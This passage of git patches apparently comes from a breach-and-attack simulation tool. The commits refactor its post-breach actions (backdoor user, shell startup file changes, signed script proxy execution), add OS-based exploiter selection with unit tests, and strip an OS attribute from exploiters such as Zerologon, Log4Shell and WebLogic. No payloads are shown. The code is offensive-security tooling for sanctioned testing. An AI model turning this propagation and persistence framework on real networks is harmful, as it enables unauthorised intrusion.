modify_shell_startup_PBA_list(self): - return self.ShellStartupPBAGenerator().get_modify_shell_startup_pbas() + @classmethod + def modify_shell_startup_PBA_list(cls): + return cls.ShellStartupPBAGenerator.get_modify_shell_startup_pbas() class ShellStartupPBAGenerator: - def get_modify_shell_startup_pbas(self): + @classmethod + def get_modify_shell_startup_pbas(cls): (cmds_for_linux, shell_startup_files_for_linux, usernames_for_linux), ( cmds_for_windows, shell_startup_files_per_user_for_windows, @@ -46,14 +48,14 @@ class ModifyShellStartupFiles(PBA): for startup_file_per_user in shell_startup_files_per_user_for_windows: windows_cmds = " ".join(cmds_for_windows).format(startup_file_per_user) - pbas.append(self.ModifyShellStartupFile(linux_cmds="", windows_cmds=windows_cmds)) + pbas.append(cls.ModifyShellStartupFile(linux_cmds="", windows_cmds=windows_cmds)) for username in usernames_for_linux: for shell_startup_file in shell_startup_files_for_linux: linux_cmds = ( " ".join(cmds_for_linux).format(shell_startup_file).format(username) ) - pbas.append(self.ModifyShellStartupFile(linux_cmds=linux_cmds, windows_cmds="")) + pbas.append(cls.ModifyShellStartupFile(linux_cmds=linux_cmds, windows_cmds="")) return pbas diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py index f6066fecb..75ede03ee 100644 --- a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py +++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py @@ -18,8 +18,8 @@ class SignedScriptProxyExecution(PBA): super().__init__(POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC, windows_cmd=" ".join(windows_cmds)) def run(self): + original_comspec = "" try: - original_comspec = "" if is_windows_os(): original_comspec = subprocess.check_output( # noqa: DUO116 "if defined COMSPEC echo %COMSPEC%", shell=True From 70186a40f60b98fd22ab31d17599521c495fd75c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 29 Mar 2022 17:13:44 +0530 Subject: [PATCH 0903/1110] Agent: Remove comment from function in backdoor user PBA since the code is self-explanatory --- .../post_breach/actions/communicate_as_backdoor_user.py | 7 ------- 1 file changed, 7 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py index 4dca6ac06..e4523f0fd 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py @@ -90,13 +90,6 @@ class CommunicateAsBackdoorUser(PBA): @staticmethod def _get_result_for_telemetry(exit_status, commandline, username): - """ - Parses the result of the command and returns it to be sent as telemetry from the master. - - :param exit_status: In both Windows and Linux, 0 exit code indicates success. - :param commandline: Exact commandline which was executed, for reporting back. - :param username: Username from which the command was executed, for reporting back. - """ if exit_status == 0: result = (CREATED_PROCESS_AS_USER_SUCCESS_FORMAT.format(commandline, username), True) else: From 246a72c940fe52d3f94e02782cb39aefaef22588 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 29 Mar 2022 17:16:17 +0530 Subject: [PATCH 0904/1110] Agent: Modify comment in shell startup PBA to make more sense --- .../post_breach/actions/modify_shell_startup_files.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index 5a966e92d..5d3c3c5ea 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -27,8 +27,8 @@ class ModifyShellStartupFiles(PBA): False, ) ] - # `command` is empty here since multiple commands were run and the results - # were aggregated to send the telemetry just once + # `command` is empty here since multiple commands were run through objects of the nested + # class. The results of each of those were aggregated to send the telemetry just once. self.pba_data.append(PostBreachData(self.name, self.command, results)) return self.pba_data From 8d4c29fc063e6a0f57894bf7c7fc82e8118a21e7 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 29 Mar 2022 18:38:25 +0530 Subject: [PATCH 0905/1110] Agent: Fix return types for run_pba in puppets and master --- monkey/infection_monkey/i_puppet/i_puppet.py | 4 ++-- monkey/infection_monkey/puppet/mock_puppet.py | 8 ++++---- monkey/infection_monkey/puppet/puppet.py | 4 ++-- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index f45048c06..c4f46d792 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -59,12 +59,12 @@ class IPuppet(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def run_pba(self, name: str, options: Dict) -> PostBreachData: + def run_pba(self, name: str, options: Dict) -> Iterable[PostBreachData]: """ Runs a post-breach action (PBA) :param str name: The name of the post-breach action to run :param Dict options: A dictionary containing options that modify the behavior of the PBA - :rtype: PostBreachData + :rtype: Iterable[PostBreachData] """ @abc.abstractmethod diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 5f707acd7..8759bc611 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -1,6 +1,6 @@ import logging import threading -from typing import Dict, List, Sequence +from typing import Dict, Iterable, List, Sequence from infection_monkey.credential_collectors import LMHash, Password, SSHKeypair, Username from infection_monkey.i_puppet import ( @@ -49,13 +49,13 @@ class MockPuppet(IPuppet): return [] - def run_pba(self, name: str, options: Dict) -> PostBreachData: + def run_pba(self, name: str, options: Dict) -> Iterable[PostBreachData]: logger.debug(f"run_pba({name}, {options})") if name == "AccountDiscovery": - yield PostBreachData(name, "pba command 1", ["pba result 1", True]) + return [PostBreachData(name, "pba command 1", ["pba result 1", True])] else: - yield PostBreachData(name, "pba command 2", ["pba result 2", False]) + return [PostBreachData(name, "pba command 2", ["pba result 2", False])] def ping(self, host: str, timeout: float = 1) -> PingScanData: logger.debug(f"run_ping({host}, {timeout})") diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 87c5ee348..061fe1132 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -1,6 +1,6 @@ import logging import threading -from typing import Dict, List, Sequence +from typing import Dict, Iterable, List, Sequence from common.common_consts.timeouts import CONNECTION_TIMEOUT from infection_monkey import network_scanning @@ -36,7 +36,7 @@ class Puppet(IPuppet): ) return credential_collector.collect_credentials(options) - def run_pba(self, name: str, options: Dict) -> PostBreachData: + def run_pba(self, name: str, options: Dict) -> Iterable[PostBreachData]: return self._mock_puppet.run_pba(name, options) def ping(self, host: str, timeout: float = CONNECTION_TIMEOUT) -> PingScanData: From 1c24411b267ff3485e9dbe58013b92fe7b71b66f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 29 Mar 2022 13:24:14 +0530 Subject: [PATCH 0906/1110] Agent: Pass telemetry messenger to PBAs for sending ATT&CK telem --- .../post_breach/actions/users_custom_pba.py | 17 +++++++++-------- monkey/infection_monkey/post_breach/pba.py | 11 ++++++++--- 2 files changed, 17 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index 4c706a1c1..b1ccec85c 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -65,8 +65,7 @@ class UsersPBA(PBA): return True return False - @staticmethod - def download_pba_file(dst_dir, filename): + def download_pba_file(self, dst_dir, filename): """ Handles post breach action file download :param dst_dir: Destination directory @@ -84,12 +83,14 @@ class UsersPBA(PBA): if not status: status = ScanStatus.USED - T1105Telem( - status, - WormConfiguration.current_server.split(":")[0], - get_interface_to_target(WormConfiguration.current_server.split(":")[0]), - filename, - ).send() + self._telemetry_messenger.send_telemetry( + T1105Telem( + status, + WormConfiguration.current_server.split(":")[0], + get_interface_to_target(WormConfiguration.current_server.split(":")[0]), + filename, + ) + ) if status == ScanStatus.SCANNED: return False diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 8b50f08ba..769ff2de0 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -5,6 +5,8 @@ from typing import Iterable from common.utils.attack_utils import ScanStatus from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.telemetry.attack.t1064_telem import T1064Telem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.environment import is_windows_os logger = logging.getLogger(__name__) @@ -34,9 +36,12 @@ class PBA: exec_funct = self._execute_default result = exec_funct() if self.scripts_were_used_successfully(result): - T1064Telem( - ScanStatus.USED, f"Scripts were used to execute {self.name} post breach action." - ).send() + self.telemetry_messenger.send_telemetry( + T1064Telem( + ScanStatus.USED, + f"Scripts were used to execute {self.name} post breach action.", + ) + ) self.pba_data.append(PostBreachData(self.name, self.command, result)) return self.pba_data else: From ddbe5b463f72ab87d95395faf31e17d3e01b057d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Mar 2022 15:31:01 -0400 Subject: [PATCH 0907/1110] Agent: Skip exploiter if victim OS is not supported --- monkey/infection_monkey/master/exploiter.py | 10 ++ monkey/infection_monkey/puppet/mock_puppet.py | 12 +-- .../infection_monkey/master/test_exploiter.py | 96 +++++++++++++++---- 3 files changed, 94 insertions(+), 24 deletions(-) diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 9a1aafa05..3f0087af8 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -114,6 +114,16 @@ class Exploiter: for exploiter in interruptible_iter(exploiters_to_run, stop): exploiter_name = exploiter["name"] + victim_os = victim_host.os.get("type") + + # We want to try all exploiters if the victim's OS is unknown + if victim_os is not None and victim_os not in exploiter["supported_os"]: + logger.debug( + f"Skipping {exploiter_name} because it does not support " + f"the victim's OS ({victim_os})" + ) + continue + exploiter_results = self._run_exploiter( exploiter_name, exploiter["options"], victim_host, current_depth, stop ) diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 0196076ad..fecb175f9 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -163,8 +163,8 @@ class MockPuppet(IPuppet): "ssh_key": host, }, ] - info_powershell = { - "display_name": "PowerShell", + info_wmi = { + "display_name": "WMI", "started": "2021-11-25T15:57:06.307696", "finished": "2021-11-25T15:58:33.788238", "vulnerable_urls": [], @@ -189,15 +189,15 @@ class MockPuppet(IPuppet): successful_exploiters = { DOT_1: { - "PowerShellExploiter": ExploiterResultData( - True, True, False, os_windows, info_powershell, attempts, None - ), "ZerologonExploiter": ExploiterResultData( False, False, False, os_windows, {}, [], "Zerologon failed" ), "SSHExploiter": ExploiterResultData( False, False, False, os_linux, info_ssh, attempts, "Failed exploiting" ), + "WmiExploiter": ExploiterResultData( + True, True, False, os_windows, info_wmi, attempts, None + ), }, DOT_3: { "PowerShellExploiter": ExploiterResultData( @@ -205,7 +205,7 @@ class MockPuppet(IPuppet): False, False, os_windows, - info_powershell, + info_wmi, attempts, "PowerShell Exploiter Failed", ), diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py index 014b3b912..eba0186a4 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py @@ -1,6 +1,7 @@ import logging from queue import Queue from threading import Barrier, Event +from typing import Iterable from unittest.mock import MagicMock import pytest @@ -37,29 +38,47 @@ def exploiter_config(): return { "options": {"dropper_path_linux": "/tmp/monkey"}, "brute_force": [ - {"name": "PowerShellExploiter", "options": {"timeout": 10}}, - {"name": "SSHExploiter", "options": {}}, + {"name": "HadoopExploiter", "supported_os": ["windows"], "options": {"timeout": 10}}, + {"name": "SSHExploiter", "supported_os": ["linux"], "options": {}}, + {"name": "WmiExploiter", "supported_os": ["windows"], "options": {"timeout": 10}}, ], "vulnerability": [ - {"name": "ZerologonExploiter", "options": {}}, + {"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}}, ], } @pytest.fixture def hosts(): - return [VictimHost("10.0.0.1"), VictimHost("10.0.0.3")] + host_1 = VictimHost("10.0.0.1") + host_2 = VictimHost("10.0.0.3") + return [host_1, host_2] @pytest.fixture def hosts_to_exploit(hosts): + return enqueue_hosts(hosts) + + +def enqueue_hosts(hosts: Iterable[VictimHost]): q = Queue() - q.put(hosts[0]) - q.put(hosts[1]) + for h in hosts: + q.put(h) return q +def get_host_exploit_combos_from_call_args_list(call_args_list): + host_exploit_combos = set() + + for call_args in call_args_list: + victim_host = call_args[0][0] + exploiter_name = call_args[0][1] + host_exploit_combos.add((victim_host, exploiter_name)) + + return host_exploit_combos + + CREDENTIALS_FOR_PROPAGATION = {"usernames": ["m0nk3y", "user"], "passwords": ["1234", "pword"]} @@ -69,12 +88,12 @@ def get_credentials_for_propagation(): @pytest.fixture def run_exploiters(exploiter_config, hosts_to_exploit, callback, scan_completed, stop): - def inner(puppet, num_workers): + def inner(puppet, num_workers, hosts=hosts_to_exploit): # Set this so that Exploiter() exits once it has processed all victims scan_completed.set() e = Exploiter(puppet, num_workers, get_credentials_for_propagation) - e.exploit_hosts(exploiter_config, hosts_to_exploit, 1, callback, scan_completed, stop) + e.exploit_hosts(exploiter_config, hosts, 1, callback, scan_completed, stop) return inner @@ -82,18 +101,16 @@ def run_exploiters(exploiter_config, hosts_to_exploit, callback, scan_completed, def test_exploiter(callback, hosts, hosts_to_exploit, run_exploiters): run_exploiters(MockPuppet(), 2) - assert callback.call_count == 5 - host_exploit_combos = set() - - for i in range(0, 5): - victim_host = callback.call_args_list[i][0][0] - exploiter_name = callback.call_args_list[i][0][1] - host_exploit_combos.add((victim_host, exploiter_name)) + assert callback.call_count == 8 + host_exploit_combos = get_host_exploit_combos_from_call_args_list(callback.call_args_list) assert ("ZerologonExploiter", hosts[0]) in host_exploit_combos - assert ("PowerShellExploiter", hosts[0]) in host_exploit_combos + assert ("HadoopExploiter", hosts[0]) in host_exploit_combos + assert ("SSHExploiter", hosts[0]) in host_exploit_combos + assert ("WmiExploiter", hosts[0]) in host_exploit_combos assert ("ZerologonExploiter", hosts[1]) in host_exploit_combos - assert ("PowerShellExploiter", hosts[1]) in host_exploit_combos + assert ("HadoopExploiter", hosts[1]) in host_exploit_combos + assert ("WmiExploiter", hosts[1]) in host_exploit_combos assert ("SSHExploiter", hosts[1]) in host_exploit_combos @@ -132,10 +149,53 @@ def test_exploiter_raises_exception(callback, hosts, hosts_to_exploit, run_explo mock_puppet.exploit_host = MagicMock(side_effect=Exception(error_message)) run_exploiters(mock_puppet, 3) - assert callback.call_count == 6 + assert callback.call_count == 8 for i in range(0, 6): exploit_result_data = callback.call_args_list[i][0][2] assert exploit_result_data.exploitation_success is False assert exploit_result_data.propagation_success is False assert error_message in exploit_result_data.error_message + + +def test_windows_exploiters_run_on_windows_host(callback, hosts, hosts_to_exploit, run_exploiters): + host = VictimHost("10.0.0.1") + host.os["type"] = "windows" + q = enqueue_hosts([host]) + run_exploiters(MockPuppet(), 1, q) + + assert callback.call_count == 3 + host_exploit_combos = get_host_exploit_combos_from_call_args_list(callback.call_args_list) + + assert ("SSHExploiter", host) not in host_exploit_combos + + +def test_linux_exploiters_run_on_linux_host(callback, hosts, hosts_to_exploit, run_exploiters): + host = VictimHost("10.0.0.1") + host.os["type"] = "linux" + q = enqueue_hosts([host]) + run_exploiters(MockPuppet(), 1, q) + + assert callback.call_count == 1 + host_exploit_combos = get_host_exploit_combos_from_call_args_list(callback.call_args_list) + + assert ("SSHExploiter", host) in host_exploit_combos + + +def test_all_exploiters_run_on_unknown_host(callback, hosts, hosts_to_exploit, run_exploiters): + host = VictimHost("10.0.0.1") + try: + del host.os["type"] + except KeyError: + pass + + q = enqueue_hosts([host]) + run_exploiters(MockPuppet(), 1, q) + + assert callback.call_count == 4 + host_exploit_combos = get_host_exploit_combos_from_call_args_list(callback.call_args_list) + + assert ("ZerologonExploiter", hosts[0]) in host_exploit_combos + assert ("HadoopExploiter", hosts[0]) in host_exploit_combos + assert ("SSHExploiter", host) in host_exploit_combos + assert ("WmiExploiter", hosts[0]) in host_exploit_combos From 8737a3df89fe8d989ebbb648bb8112d9a38c8776 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Mar 2022 15:33:10 -0400 Subject: [PATCH 0908/1110] Agent: Remove disused HostExploiter._TARGET_OS_TYPE --- monkey/infection_monkey/exploit/HostExploiter.py | 5 ----- monkey/infection_monkey/exploit/drupal.py | 1 - monkey/infection_monkey/exploit/hadoop.py | 1 - monkey/infection_monkey/exploit/log4shell.py | 1 - monkey/infection_monkey/exploit/mssqlexec.py | 1 - monkey/infection_monkey/exploit/powershell.py | 1 - monkey/infection_monkey/exploit/smbexec.py | 1 - monkey/infection_monkey/exploit/sshexec.py | 1 - monkey/infection_monkey/exploit/struts2.py | 1 - monkey/infection_monkey/exploit/weblogic.py | 3 --- monkey/infection_monkey/exploit/wmiexec.py | 1 - monkey/infection_monkey/exploit/zerologon.py | 1 - 12 files changed, 18 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 17bbee2a3..09a6d274e 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -15,8 +15,6 @@ logger = logging.getLogger(__name__) class HostExploiter: - _TARGET_OS_TYPE = [] - @property @abstractmethod def _EXPLOITED_SERVICE(self): @@ -44,9 +42,6 @@ class HostExploiter: def set_finish_time(self): self.exploit_info["finished"] = datetime.now().isoformat() - def is_os_supported(self): - return self.host.os.get("type") in self._TARGET_OS_TYPE - def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""): self.exploit_attempts.append( { diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index a07b99403..a0842383e 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -19,7 +19,6 @@ logger = logging.getLogger(__name__) class DrupalExploiter(WebRCE): - _TARGET_OS_TYPE = ["linux", "windows"] _EXPLOITED_SERVICE = "Drupal Server" def __init__(self, host): diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 689120f59..c704f9814 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -25,7 +25,6 @@ from infection_monkey.utils.commands import build_monkey_commandline class HadoopExploiter(WebRCE): - _TARGET_OS_TYPE = ["linux", "windows"] _EXPLOITED_SERVICE = "Hadoop" HADOOP_PORTS = [("8088", False)] # How long we have our http server open for downloads in seconds diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 0a70d6e01..e967ee6cb 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -27,7 +27,6 @@ logger = logging.getLogger(__name__) class Log4ShellExploiter(WebRCE): - _TARGET_OS_TYPE = ["linux", "windows"] _EXPLOITED_SERVICE = "Log4j" SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index b93b18649..f6b44471a 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -23,7 +23,6 @@ logger = logging.getLogger(__name__) class MSSQLExploiter(HostExploiter): _EXPLOITED_SERVICE = "MSSQL" - _TARGET_OS_TYPE = ["windows"] LOGIN_TIMEOUT = LONG_REQUEST_TIMEOUT QUERY_TIMEOUT = LONG_REQUEST_TIMEOUT # Time in seconds to wait between MSSQL queries. diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index f95b21df7..d711bec19 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -31,7 +31,6 @@ class RemoteAgentExecutionError(Exception): class PowerShellExploiter(HostExploiter): - _TARGET_OS_TYPE = ["windows"] _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" def __init__(self): diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 2afc74439..10b7009b0 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -21,7 +21,6 @@ logger = getLogger(__name__) class SMBExploiter(HostExploiter): - _TARGET_OS_TYPE = ["windows"] _EXPLOITED_SERVICE = "SMB" KNOWN_PROTOCOLS = { "139/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 139), diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index aa4ec8b54..0e6a9c038 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -31,7 +31,6 @@ TRANSFER_UPDATE_RATE = 15 class SSHExploiter(HostExploiter): - _TARGET_OS_TYPE = ["linux", None] _EXPLOITED_SERVICE = "SSH" def __init__(self): diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index 5efb7a64d..c576a5fbd 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -20,7 +20,6 @@ DOWNLOAD_TIMEOUT = 300 class Struts2Exploiter(WebRCE): - _TARGET_OS_TYPE = ["linux", "windows"] _EXPLOITED_SERVICE = "Struts2" def __init__(self, host): diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index b2747a3f2..6c2d7d327 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -29,7 +29,6 @@ HEADERS = { class WebLogicExploiter(HostExploiter): - _TARGET_OS_TYPE = ["linux", "windows"] _EXPLOITED_SERVICE = "Weblogic" def _exploit_host(self): @@ -58,7 +57,6 @@ class WebLogic201710271(WebRCE): "/wls-wsat/RegistrationRequesterPortType11", ] - _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE def __init__(self, host): @@ -257,7 +255,6 @@ class WebLogic20192725(WebRCE): URLS = ["_async/AsyncResponseServiceHttps"] DELAY_BEFORE_EXPLOITING_SECONDS = 5 - _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE def __init__(self, host): diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 9d2af2e32..753dc511b 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -22,7 +22,6 @@ logger = logging.getLogger(__name__) class WmiExploiter(HostExploiter): - _TARGET_OS_TYPE = ["windows"] _EXPLOITED_SERVICE = "WMI (Windows Management Instrumentation)" @WmiTools.impacket_user diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 8fe9cb52b..df5b7b4c6 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -33,7 +33,6 @@ logger = logging.getLogger(__name__) class ZerologonExploiter(HostExploiter): - _TARGET_OS_TYPE = ["windows"] _EXPLOITED_SERVICE = "Netlogon" MAX_ATTEMPTS = 2000 # For 2000, expected average number of attempts needed: 256. ERROR_CODE_ACCESS_DENIED = 0xC0000022 From a2e283e824a1100ba43ddb6b47aa6563eadc074f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Mar 2022 19:46:36 -0400 Subject: [PATCH 0909/1110] UT: Update automated_master_config.json --- .../automated_master_config.json | 25 ++++++++++--------- 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json index c89ab6c04..e4712defe 100644 --- a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json @@ -45,20 +45,21 @@ ] }, "exploiters": { + "options": {}, "brute_force": [ - {"name": "MSSQLExploiter"}, - {"name": "PowerShellExploiter"}, - {"name": "SmbExploiter"}, - {"name": "SSHExploiter"}, - {"name": "WmiExploiter"} + {"name": "MSSQLExploiter", "supported_os": ["windows"], "options": {}}, + {"name": "PowerShellExploiter", "supported_os": ["windows"], "options": {}}, + {"name": "SmbExploiter", "supported_os": ["windows"], "options": {}}, + {"name": "SSHExploiter", "supported_os": ["linux"], "options": {}}, + {"name": "WmiExploiter", "supported_os": ["windows"], "options": {}} ], "vulnerability": [ - {"name": "DrupalExploiter"}, - {"name": "HadoopExploiter"}, - {"name": "ShellShockExploiter"}, - {"name": "Struts2Exploiter"}, - {"name": "WebLogicExploiter"}, - {"name": "ZerologonExploiter"} + {"name": "DrupalExploiter", "supported_os": ["linux", "windows"], "options": {}}, + {"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}}, + {"name": "ShellShockExploiter", "supported_os": ["linux"], "options": {}}, + {"name": "Struts2Exploiter", "supported_os": ["linux", "windows"], "options": {}}, + {"name": "WebLogicExploiter", "supported_os": ["linux", "windows"], "options": {}}, + {"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}} ] } }, @@ -102,7 +103,7 @@ "other_behaviors": {"readme": true} } }, - "system_info_collector_classes": [ + "credential_collector_classes": [ "MimikatzCollector", "SSHCollector" ] From dbbdb508e3b2627272d935bd156f6a212738b029 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 29 Mar 2022 16:19:43 +0300 Subject: [PATCH 0910/1110] Agent: Change PBA constructor to accept telemetry messenger This change allows to run different PBA's with different telemetry messengers --- monkey/infection_monkey/monkey.py | 62 ++++++++++++++----- .../actions/change_file_privileges.py | 5 +- .../actions/clear_command_history.py | 9 +-- .../actions/collect_processes_list.py | 5 +- .../actions/communicate_as_backdoor_user.py | 5 +- .../post_breach/actions/discover_accounts.py | 8 ++- .../post_breach/actions/hide_files.py | 5 +- .../actions/modify_shell_startup_files.py | 5 +- .../post_breach/actions/schedule_jobs.py | 4 +- .../post_breach/actions/timestomping.py | 10 ++- .../post_breach/actions/use_signed_scripts.py | 9 ++- .../post_breach/actions/use_trap_command.py | 7 ++- .../post_breach/actions/users_custom_pba.py | 5 +- monkey/infection_monkey/post_breach/pba.py | 6 +- 14 files changed, 102 insertions(+), 43 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 478c8dde2..9576f76c0 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -248,26 +248,56 @@ class InfectionMonkey: ) puppet.load_plugin( - "CommunicateAsBackdoorUser", CommunicateAsBackdoorUser, PluginType.POST_BREACH_ACTION + "CommunicateAsBackdoorUser", + CommunicateAsBackdoorUser(self.telemetry_messenger), + PluginType.POST_BREACH_ACTION, ) puppet.load_plugin( - "ModifyShellStartupFiles", ModifyShellStartupFiles, PluginType.POST_BREACH_ACTION - ) - puppet.load_plugin("HiddenFiles", HiddenFiles, PluginType.POST_BREACH_ACTION) - puppet.load_plugin("TrapCommand", CommunicateAsBackdoorUser, PluginType.POST_BREACH_ACTION) - puppet.load_plugin("ChangeSetuidSetgid", ChangeSetuidSetgid, PluginType.POST_BREACH_ACTION) - puppet.load_plugin("ScheduleJobs", ScheduleJobs, PluginType.POST_BREACH_ACTION) - puppet.load_plugin("Timestomping", Timestomping, PluginType.POST_BREACH_ACTION) - puppet.load_plugin("AccountDiscovery", AccountDiscovery, PluginType.POST_BREACH_ACTION) - puppet.load_plugin( - "ProcessListCollection", ProcessListCollection, PluginType.POST_BREACH_ACTION - ) - puppet.load_plugin("TrapCommand", TrapCommand, PluginType.POST_BREACH_ACTION) - puppet.load_plugin( - "SignedScriptProxyExecution", SignedScriptProxyExecution, PluginType.POST_BREACH_ACTION + "ModifyShellStartupFiles", + ModifyShellStartupFiles(self.telemetry_messenger), + PluginType.POST_BREACH_ACTION, ) puppet.load_plugin( - "ClearCommandHistory", ClearCommandHistory, PluginType.POST_BREACH_ACTION + "HiddenFiles", HiddenFiles(self.telemetry_messenger), PluginType.POST_BREACH_ACTION + ) + puppet.load_plugin( + "TrapCommand", + CommunicateAsBackdoorUser(self.telemetry_messenger), + PluginType.POST_BREACH_ACTION, + ) + puppet.load_plugin( + "ChangeSetuidSetgid", + ChangeSetuidSetgid(self.telemetry_messenger), + PluginType.POST_BREACH_ACTION, + ) + puppet.load_plugin( + "ScheduleJobs", ScheduleJobs(self.telemetry_messenger), PluginType.POST_BREACH_ACTION + ) + puppet.load_plugin( + "Timestomping", 